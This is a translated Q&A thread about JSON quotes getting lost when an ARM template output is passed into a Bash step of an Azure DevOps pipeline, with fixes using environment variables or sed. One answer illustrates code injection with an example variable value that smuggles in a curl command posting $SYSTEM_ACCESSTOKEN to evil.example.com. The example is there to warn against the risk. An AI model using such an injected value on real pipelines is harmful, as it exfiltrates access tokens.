【问题标题】:Prevent quotes from disappearing in JSON in between Azure DevOps tasks防止 Azure DevOps 任务之间的 JSON 中的引号消失
【发布时间】:2022-05-12 21:33:23
【问题描述】:

我希望在存储帐户上启用静态站点托管,该帐户由 Azure DevOps 管道中的 Azure 资源管理器 (ARM) 模板创建,但无法让 jq 解析 ARM 输出变量。

第 1 步:创建资源组的 Azure DevOps 任务的 YML

- task: AzureResourceGroupDeployment@2
  inputs:
    azureSubscription: 'AzureSubscription'
    action: 'Create Or Update Resource Group'
    resourceGroupName: 'vue-demo-app'
    location: 'West Europe'
    templateLocation: 'Linked artifact'
    csmFile: '$(Build.ArtifactStagingDirectory)/infra/infra.json'
    csmParametersFile: '$(Build.ArtifactStagingDirectory)/infra/env-arm-params-default.json'
    deploymentMode: 'Incremental'
    deploymentOutputs: 'appstoragename'
  displayName: 'Create or update resource group'

日志显示如下:

##[debug]set appstoragename={"appstoragename":{"type":"String","value":"demoappstaticstore"}}

所以此时,有一个有效 JSON 值返回给 Azure DevOps。到目前为止,一切顺利。

第 2 步:尝试在存储帐户上启用静态网站托管的 Azure DevOps 任务

- task: AzureCLI@1
  inputs:
    azureSubscription: 'AzureSubscription'
    scriptLocation: 'inlineScript'
    inlineScript: |
      echo "Enabling static website hosting on the storage account"
      SA_NAME=$(appstoragename) | jq -r '.appstoragename'
      echo "Script input argument is: $(appstoragename)"
      echo "Parsed storage account name is: $SA_NAME"
      az storage blob service-properties update --account-name $SA_NAME --static-website --index-document index.html

日志显示如下:

Enabling static website hosting on the storage account
Script input argument is: {appstoragename:{type:String,value:jvwdemoappstaticstore}}
Parsed storage account name is: 

恕我直言,问题是我“丢失”了 $(appstoragename) 中的引号,我需要它们,因为我认为 jq 不喜欢它们不存在的事实。

如何防止这些引号消失?

【问题讨论】:

    标签: bash azure-devops azure-pipelines


    【解决方案1】:

    TL;DR

    改用环境变量:

    - task: AzureCLI@1
      inputs:
        azureSubscription: 'AzureSubscription'
        scriptLocation: 'inlineScript'
        inlineScript: |
          echo "Enabling static website hosting on the storage account"
          SA_NAME=$(echo "${APP_STORAGE_NAME}" | jq -r '.appstoragename')
          echo "Script input argument is: ${APP_STORAGE_NAME}"
          echo "Parsed storage account name is: $SA_NAME"
          az storage blob service-properties update --account-name $SA_NAME --static-website --index-document index.html
      env:
        APP_STORAGE_NAME: $(appstoragename)
    

    详情

    问题在于您使用 JSON 字符串作为 Bash 脚本的源代码的一部分。

    使用宏语法引用的 Azure Pipelines 变量 - $(foo) - 扩展为 "at runtime before a task executes"。通过用inlineScript 输入值中的$(appstoragename) 替换appstoragename 变量的值(我们知道,它是JSON 字符串),我们可以看到我们最终构建并运行了这个Bash 脚本:

    echo "Enabling static website hosting on the storage account"
    SA_NAME={"appstoragename":{"type":"String","value":"demoappstaticstore"}} | jq -r '.appstoragename'
    echo "Script input argument is: {"appstoragename":{"type":"String","value":"demoappstaticstore"}}"
    echo "Parsed storage account name is: $SA_NAME"
    az storage blob service-properties update --account-name $SA_NAME --static-website --index-document index.html
    

    如您所见,它甚至与我们的实际意思并不接近,尤其是第二行。

    JSON 引号似乎已“丢失”的原因是,在第三行中,JSON 字符串中的第一个 " 关闭了以 echo "Script 中的 " 开头的带引号的 Bash 字符串,因此一直到 JSON 字符串中的最后一个 ",它恰好与该行上的最后一个 " 匹配。因此,像往常一样,Bash 使用所有引号并将结果字符串作为单个参数传递给echo。值得注意的是:

    • 如果 JSON 字符串中的任何键或值包含任何空格,则多个参数将被传递给 echo。键或值中多个连续空格的任何序列都将被“丢失”,因为它们根本不会传递给echo。示例:

      echo "Script input argument is: {"app    storagename":42}"
      
    • 如果第三行使用单引号,即echo 'Script input …',那么 JSON 将保留在该行的输出中 - 除非 JSON 中的某些键或值包含'

    • 如果 appstoragename Azure Pipelines 变量的值是 "; curl --data "$SYSTEM_ACCESSTOKEN" http://evil.example.com; echo ",那么您的 Azure Pipelines 访问令牌将被发送(未加密)给 Internet 上的某人。 ?

    如您所见,尝试构建这样的 Bash 脚本总是会导致痛苦和痛苦,无论哪种方式。 真正的解决方案是将 JSON 字符串存储在环境变量中,如上面的 TL;DR 所示。那么你就不需要任何复杂的sed 解决方法,你也不需要担心转义任何东西——你可以直接写下你的意思! ?

    【讨论】:

      【解决方案2】:

      所以最后我使用流编辑器 sed 来修复 JSON 并添加双引号,以便 jq 将其接受为有效的 JSON:

      # Needed this to prevent 'brace expansion' - which
      # happens at the echo $() part since the armoutputs contains braces
      set +B
      
      # I would have also *loved* a nicer solution - but this puts
      # quotes and newlines, which makes the input valid JSON for 'jq'
      ARGTOJSON=$(echo $(armoutputs) | \
        sed -e 's/}/"\n}/g' | \
        sed -e 's/{/{\n"/g' | \
        sed -e 's/:/":"/g' | \
        sed -e 's/,/",\n"/g' | \
        sed -e 's/"}/}/g' | \
        sed -e 's/}"/}/g' | \
        sed -e 's/"{/{/g');
      
      # Now 'jq' is happy to work with the JSON
      SA_NAME=$(echo $ARGTOJSON | jq -r .appstoragename.value)
      

      在搜索其他解决方案时,我还找到了hjson,但这需要我将可执行文件与代码捆绑在一起,因为据我判断,没有可用的 apt-get。

      【讨论】:

      • 我强烈建议使用环境变量而不是这种复杂的解决方法(它不能解决代码注入漏洞),如my answer 中所述。
      【解决方案3】:

      与@Jochen 提供的答案非常相似,我修改了他的答案以使用 Azure Pipeline 函数“convertToJson”。

      首先你可以像这样定义一个参数对象。

      parameters:
        - name   : PIPELINE_PARAMS
          type   : object
          default:
            parameters:
              param1: sample
              param2: sample2
      

      然后,在 bash 脚本步骤中,使用 SED 正确格式化 JSON。

      parameters=$(echo "${{ convertToJson(PIPELINE_PARAMS) }}" | \
        sed -e 's/^  /  "/g' | \
        sed -e 's/: /": "/g' | \
        sed -e 's/,$/",/g' | \
        sed -e 's/"}/}/g' | \
        sed -e 's/}"/}/g' | \
        sed -e 's/"{/{/g' | \
        sed -e 's/\([a-zA-Z0-9]\)$/\1"/g'
      );
      

      【讨论】:

      • 这很有帮助。感谢您提及convertToJson。我为该功能提出了一个 GitHub 问题,并将您的答案链接到那里:github.com/MicrosoftDocs/azure-devops-docs/issues/11983
      • 我会尝试对您直接提到的页面提出更改建议。 @迪
      • convertToJson 模板函数实际上不需要任何后处理。只需将其输出存储在环境变量中(即步骤上的env: { THE_JSON: ${{ convertToJson(…) }} };请参阅my answer),而不是将其直接包含在 Bash 脚本的源代码中。
      • @SimonAlling 我喜欢,这样更好!
      猜你喜欢
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 2020-11-09
      • 2020-07-27
      • 2020-11-25
      • 1970-01-01
      • 2020-09-28
      • 2021-05-10
      相关资源
      最近更新 更多